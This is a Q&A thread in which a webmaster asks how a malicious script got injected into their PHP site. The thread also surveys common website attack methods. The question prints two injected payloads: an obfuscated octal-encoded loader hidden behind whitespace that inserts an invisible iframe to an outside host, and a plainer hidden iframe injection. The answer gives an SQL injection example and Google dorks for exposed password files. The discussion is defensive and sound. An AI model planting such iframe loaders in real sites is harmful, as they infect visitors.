Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I've got a website with this code appended to my php document :

<?
#8f4d8e#
                                                                                                                                                                                                                                                      echo "                                                                                                                                                                                                                                                          <script type=\"text/javascript\" language=\"javascript\" >                                                                                                                                                                                                                                                          //ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0146,0172,0146,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0146,0172,0146,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0144,0141,0171,0172,055,0151,0147,0151,056,0164,0153,057,0167,0160,055,0143,0157,0156,0164,0145,0156,0164,057,0143,0157,0165,0156,0164,0145,0162,056,0160,0150,0160,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0146,0172,0146,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0146,0172,0146,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0146,0172,0146,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0146,0172,0146,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0146,0172,0146,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+479!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";

#/8f4d8e#
?>

I removed all my php treatment (receiving POST and GET then dealing with it) the only references to GET or POST are secured using htmlspecialchars and stripslashes.

I removed as many external javascript tools as possible.

I though my website was minified to maximum for minimum security leak but it seams it didn't do its job has mentioned with the code up here...

Previously I add the following code injection (you'll see that the two injections are not the same ...)

    /*68c8c7*/
                                                                                                                                                                                                                                                              //(function () {    var id = '8';    var wtxmw09 = document.createElement('iframe');    wtxmw09.src = 'http://www.cittadinolibero.it/clk.php';    wtxmw09.style.position = 'absolute';    wtxmw09.style.border = '1';    wtxmw09.style.height = '31px';    wtxmw09.style.width = '42px';    wtxmw09.style.left = '500px';    wtxmw09.style.top = '100px';    if (!document.getElementById('wtxmw')) {        document.write('<style>body{overflow-x:hidden;}</style>');        document.write('<div id=\'wtxmw\' style="position:absolute; width:80%; height:100%;" ></div>');        document.getElementById('wtxmw').appendChild(wtxmw09);    }})();
    /*/68c8c7*/

Also, how could I scan all my code for security leaks I wouldn't have though about ? I tried RIPS, but with level 1 tainting, I had no message...

What are the several ways a hacker could use to hack a website ? How ?

share|improve this question
    
same here with several of my websites. Exactly the same hex-codes (current and previous). I removed all content within the htdocs-dir and replaced it with the non-infected files (I hope, at least Avira Internet Security thinks so) from my laptop. Problem remained. Apparently the bug has nested itself a level higher in the directory structure. I've been googling for a while now. One suggestion for the cause of the contamination was a hacked ftp-password. I haven't tried resetting all of my passwords to different servers yet ... Only positive thing about you posting the same problem is that this –  user24374 Mar 19 '13 at 22:07
    
I'll do it if I can figure it out ! ^^ It's really frustrating, particularly while there's no way to locate it... I'm not pretty sure about FTP password hack because I don't see the point to add a single script tag to a web page when you've got full access to sources... The hacker / robot virus would better have replaced all of my website in that case, no ? –  jsn.crdnl Mar 19 '13 at 22:15
    
Here I got a comment telling its FTP hack : siteduzero.com/forum/sujet/soucis-injection –  jsn.crdnl Mar 19 '13 at 22:38
    
Please read the FAQ: webmasters.stackexchange.com/faq before posting an answer. It is not allowed to post 'I am having this problem as well' in the answers boxes. Please use the comment boxes or chat feature. –  bybe Mar 19 '13 at 22:59
    
I checked my FTP log file and there's indeed a connection to my website FTP on a day I didn't go on ! I think the security leak has been found ! I just have to glue the hole now ! I hope you'll find out ! –  jsn.crdnl Mar 19 '13 at 22:59
add comment

closed as too localized by bybe, John Conde Mar 20 '13 at 23:55

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.If this question can be reworded to fit the rules in the help center, please edit the question.

1 Answer

up vote 3 down vote accepted

Your question is extremely broad because its a complete guessing game without reviewing your logs, setup and hardware.

But to answer your question as you've asked hackers can gain entry to websites normally using these commonly known methods.

SQL Injections

This most likely accounts for the most common of hacks is an SQL injection on the database to return string or enter a string to gain access. Most often sites that are hacked by SQL injections are often out of date content management systems or plugins that have access to SQL level.

Example of SQL injection is entering `OR 1=1 into a username login form and some sites return strings that then can be used to further the attack.

SQL injections are often run on:

  • Input Forms, Search Boxes, Logins, Etc.
  • URL's in Browser
  • Malicious Injection Files

You should research on ways of preventing SQL injections as well as looking at Dork Cheat Sheets.

Keyloggers

Key Loggers can be one of the most forgotten things when checking a website, there are plenty of viruses on the net and most often they come packed with keygens and other cracks for expensive games and applications.

Cross Site Scripting (XSS)

XSS or Cross Site Scripting is the other major vulnerability that hackers tend to go after particularly harder large sites such as Gmail, Hotmail and so on. This requires a lot more effort than SQL injections but hackers find it more rewarding. XSS prevention is pretty tricky to but worth researching if your sick and tired of being hacked or if you just want to prevent XSS hacks.

Authorization Bypass

Authorization Bypass is generally weak sites that are run on the same hosting and so a weaker site is gained access to obtain access to the harder site. Many uni's and government run sites are often hacked this way. A nice PDF about Authorization Bypass written by Michael Dalton at Stanford.

Google Hacking

Often Google will spider things that you don't want it to spider and this can leave undesirable results in Google search, example:

inurl:passlist.txt
inurl:passwd.txt
“login: *” “password= *” filetype:xls

You can check out the latest Google Dorks and Cheat Sheets here and read more about Google hacking on Wikipedia.

Password Cracking

This is less common due to the effort involved but it does have some effect on weaker sites, basically bots can brute force a website that uses weaker passwords to harder passwords but harder passwords take a long time, SSH servers are a great example of this, if you don't use key auth then they will run a brute force password cracker on it for days, weeks, months until it finds the correct logins.

One of the best prevention on this is to block IP X mins using mod_security and fail2ban on your linux box, but doesn't rule out if they are ciricling their IPS with a infinite supply of proxy's.

Poor Permissions

Why poor permissions is less common for actually gaining access to the server unless the files are writable by public in order to upload a script, strong premissions can be a great way of preventing additional files being touched. Even with SQL injections if you CHMOD your files correctly say on .htaccess, and the config file they will be unable to change without knowing your CPANEL or FTP password. I strongly recommend you research CHMOD its an awesome way of stopping hackers in and is also a last line defense once their in any can make things a lot easier to recover from.

More

I'm sure there are hundreds move ways they can gain access and one of the reason I added this as a community wiki.

share|improve this answer
    
Is it possible that my FTP password was grabbed ? If it's the case, why would the hacker / robot only append a single hidden script on my webpage instead of replacing everything ? How could he get that access to my FTP by the way ? –  jsn.crdnl Mar 19 '13 at 22:48
    
99% of hackers do it to steal information, add a backlink, virus to infect vistors or script to do something else. Most hackers want to go undetected as defacing your website makes you CLEAN the site, while a undetected hack can last for days, weeks, months and even years. It's unlike they have gained access via FTP as this requires a lot of time BRUTE forcing the password unless they used a FTP exploit on the FTP server software, but again this is unlikely. Check your FTP access logs. –  bybe Mar 19 '13 at 22:53
    
I just checked it, and there's indeed an access to my FTP server on a day I wasn't using it ! The thing is now to change the password to something more secured ! Changing it would make the work or will the hacker still have all his chances using brute force ? –  jsn.crdnl Mar 19 '13 at 23:01
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.